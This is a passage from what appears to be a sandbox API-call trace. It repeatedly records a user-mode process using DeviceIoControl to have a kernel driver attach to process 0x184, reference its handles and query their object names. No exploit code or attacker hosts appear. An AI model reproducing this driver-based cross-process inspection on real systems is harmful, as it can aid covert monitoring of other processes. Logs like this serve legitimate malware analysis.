Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fd044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.225] ObfDereferenceObject (Object=0xfffff8a00204d540) returned 0x1 [0136.225] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.225] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.225] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.225] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.225] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.225] PsAcquireProcessExitSynchronization () returned 0x0 [0136.225] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.225] ObReferenceObjectByHandle (in: Handle=0x68c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a002094340, HandleInformation=0x0) returned 0x0 [0136.225] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.225] PsReleaseProcessExitSynchronization () returned 0x2 [0136.225] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.225] ObQueryNameString (in: Object=0xfffff8a002094340, ObjectNameInfo=0xfffffa80019fe044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fe044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.225] ObfDereferenceObject (Object=0xfffff8a002094340) returned 0x1 [0136.225] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.225] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.225] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.225] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.225] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.225] PsAcquireProcessExitSynchronization () returned 0x0 [0136.225] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.225] ObReferenceObjectByHandle (in: Handle=0x69c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001f6c480, HandleInformation=0x0) returned 0x0 [0136.225] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.225] PsReleaseProcessExitSynchronization () returned 0x2 [0136.225] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.225] ObQueryNameString (in: Object=0xfffff8a001f6c480, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.225] ObfDereferenceObject (Object=0xfffff8a001f6c480) returned 0x1 [0136.225] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.225] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.225] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.226] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.226] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.226] PsAcquireProcessExitSynchronization () returned 0x0 [0136.226] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.226] ObReferenceObjectByHandle (in: Handle=0x6ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a002082c30, HandleInformation=0x0) returned 0x0 [0136.226] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.226] PsReleaseProcessExitSynchronization () returned 0x2 [0136.226] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.226] ObQueryNameString (in: Object=0xfffff8a002082c30, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.226] ObfDereferenceObject (Object=0xfffff8a002082c30) returned 0x1 [0136.226] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.226] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.226] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.226] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.226] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.226] PsAcquireProcessExitSynchronization () returned 0x0 [0136.226] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.226] ObReferenceObjectByHandle (in: Handle=0x6bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a002063a30, HandleInformation=0x0) returned 0x0 [0136.226] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.226] PsReleaseProcessExitSynchronization () returned 0x2 [0136.226] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.226] ObQueryNameString (in: Object=0xfffff8a002063a30, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.226] ObfDereferenceObject (Object=0xfffff8a002063a30) returned 0x1 [0136.226] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.226] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.226] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.226] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.226] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.226] PsAcquireProcessExitSynchronization () returned 0x0 [0136.226] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.226] ObReferenceObjectByHandle (in: Handle=0x6cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0020879e0, HandleInformation=0x0) returned 0x0 [0136.226] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.226] PsReleaseProcessExitSynchronization () returned 0x2 [0136.226] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.226] ObQueryNameString (in: Object=0xfffff8a0020879e0, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.227] ObfDereferenceObject (Object=0xfffff8a0020879e0) returned 0x1 [0136.227] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.227] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.227] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.227] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.227] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.227] PsAcquireProcessExitSynchronization () returned 0x0 [0136.227] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.227] ObReferenceObjectByHandle (in: Handle=0x6e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a002094180, HandleInformation=0x0) returned 0x0 [0136.227] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.227] PsReleaseProcessExitSynchronization () returned 0x2 [0136.227] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.227] ObQueryNameString (in: Object=0xfffff8a002094180, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.227] ObfDereferenceObject (Object=0xfffff8a002094180) returned 0x1 [0136.227] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.227] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.227] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.227] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.227] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.227] PsAcquireProcessExitSynchronization () returned 0x0 [0136.227] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.227] ObReferenceObjectByHandle (in: Handle=0x704, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00208d060, HandleInformation=0x0) returned 0x0 [0136.227] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.227] PsReleaseProcessExitSynchronization () returned 0x2 [0136.227] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.227] ObQueryNameString (in: Object=0xfffff8a00208d060, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.227] ObfDereferenceObject (Object=0xfffff8a00208d060) returned 0x1 [0136.227] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.227] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.227] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.227] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.227] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.227] PsAcquireProcessExitSynchronization () returned 0x0 [0136.227] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.227] ObReferenceObjectByHandle (in: Handle=0x708, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a003074590, HandleInformation=0x0) returned 0x0 [0136.228] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.228] PsReleaseProcessExitSynchronization () returned 0x2 [0136.228] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.228] ObQueryNameString (in: Object=0xfffff8a003074590, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.228] ObfDereferenceObject (Object=0xfffff8a003074590) returned 0x1 [0136.228] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.228] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.228] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.228] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.228] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.228] PsAcquireProcessExitSynchronization () returned 0x0 [0136.228] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.228] ObReferenceObjectByHandle (in: Handle=0x718, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001e158c0, HandleInformation=0x0) returned 0x0 [0136.228] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.228] PsReleaseProcessExitSynchronization () returned 0x2 [0136.228] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.228] ObQueryNameString (in: Object=0xfffff8a001e158c0, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.228] ObfDereferenceObject (Object=0xfffff8a001e158c0) returned 0x1 [0136.228] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.228] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.228] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.228] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.228] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.228] PsAcquireProcessExitSynchronization () returned 0x0 [0136.228] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.228] ObReferenceObjectByHandle (in: Handle=0x720, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001ba99f0, HandleInformation=0x0) returned 0x0 [0136.228] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.229] PsReleaseProcessExitSynchronization () returned 0x2 [0136.229] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.229] ObQueryNameString (in: Object=0xfffff8a001ba99f0, ObjectNameInfo=0xfffffa8001fc2044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fc2044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.229] ObfDereferenceObject (Object=0xfffff8a001ba99f0) returned 0x1 [0136.229] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.229] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.229] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.229] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.229] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.229] PsAcquireProcessExitSynchronization () returned 0x0 [0136.229] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.229] ObReferenceObjectByHandle (in: Handle=0x728, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00226c630, HandleInformation=0x0) returned 0x0 [0136.229] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.229] PsReleaseProcessExitSynchronization () returned 0x2 [0136.229] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.229] ObQueryNameString (in: Object=0xfffff8a00226c630, ObjectNameInfo=0xfffffa8001fc3044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fc3044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.229] ObfDereferenceObject (Object=0xfffff8a00226c630) returned 0x1 [0136.229] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.229] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.229] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.229] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.229] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.229] PsAcquireProcessExitSynchronization () returned 0x0 [0136.229] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.229] ObReferenceObjectByHandle (in: Handle=0x72c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00231a470, HandleInformation=0x0) returned 0x0 [0136.229] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.229] PsReleaseProcessExitSynchronization () returned 0x2 [0136.229] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.229] ObQueryNameString (in: Object=0xfffff8a00231a470, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.229] ObfDereferenceObject (Object=0xfffff8a00231a470) returned 0x1 [0136.229] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.229] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.229] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.230] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.230] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.230] PsAcquireProcessExitSynchronization () returned 0x0 [0136.230] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.230] ObReferenceObjectByHandle (in: Handle=0x730, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00207bf40, HandleInformation=0x0) returned 0x0 [0136.230] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.230] PsReleaseProcessExitSynchronization () returned 0x2 [0136.230] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.230] ObQueryNameString (in: Object=0xfffff8a00207bf40, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.230] ObfDereferenceObject (Object=0xfffff8a00207bf40) returned 0x1 [0136.230] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.230] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.230] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.230] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.230] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.230] PsAcquireProcessExitSynchronization () returned 0x0 [0136.230] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.230] ObReferenceObjectByHandle (in: Handle=0x734, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a002339680, HandleInformation=0x0) returned 0x0 [0136.230] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.230] PsReleaseProcessExitSynchronization () returned 0x2 [0136.230] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.230] ObQueryNameString (in: Object=0xfffff8a002339680, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.230] ObfDereferenceObject (Object=0xfffff8a002339680) returned 0x1 [0136.230] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.230] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.230] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.230] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.230] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.230] PsAcquireProcessExitSynchronization () returned 0x0 [0136.230] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.230] ObReferenceObjectByHandle (in: Handle=0x73c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00234e060, HandleInformation=0x0) returned 0x0 [0136.230] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.230] PsReleaseProcessExitSynchronization () returned 0x2 [0136.231] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.231] ObQueryNameString (in: Object=0xfffff8a00234e060, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005473550) returned 0x0 [0136.231] ObfDereferenceObject (Object=0xfffff8a00234e060) returned 0x1 [0136.231] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.231] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.231] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.231] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, 